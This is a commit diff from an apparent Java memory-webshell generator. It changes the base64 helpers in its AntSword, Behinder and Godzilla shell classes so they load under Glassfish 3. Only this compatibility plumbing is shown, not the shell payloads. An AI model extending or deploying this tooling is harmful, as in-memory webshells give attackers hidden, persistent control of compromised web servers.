fix: Glassfish3 classNotFound

Author: ReaJason

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java

@@ -40,11 +40,12 @@ public boolean equals(Object obj) {
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
+        ClassLoader loader = Thread.currentThread().getContextClassLoader();
         try {
-            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
             return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
     }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/Behinder.java

@@ -90,11 +90,12 @@ public static Object getFieldValue(Object obj, String name) throws Exception {
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
+        ClassLoader loader = Thread.currentThread().getContextClassLoader();
         try {
-            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
             return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
     }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java

@@ -61,22 +61,24 @@ public boolean equals(Object obj) {
 
     @SuppressWarnings("all")
     public static String base64Encode(byte[] bs) throws Exception {
+        ClassLoader loader = Thread.currentThread().getContextClassLoader();
         try {
-            Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
+            Object encoder = Class.forName("java.util.Base64", false ,loader).getMethod("getEncoder").invoke(null);
             return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
         } catch (Exception var6) {
-            Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
+            Object encoder = Class.forName("sun.misc.BASE64Encoder", false, loader).newInstance();
             return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
         }
     }
 
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
+        ClassLoader loader = Thread.currentThread().getContextClassLoader();
         try {
-            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            Object decoder = Class.forName("java.util.Base64", false, loader).getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            Object decoder = Class.forName("sun.misc.BASE64Decoder", false, loader).newInstance();
             return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
     }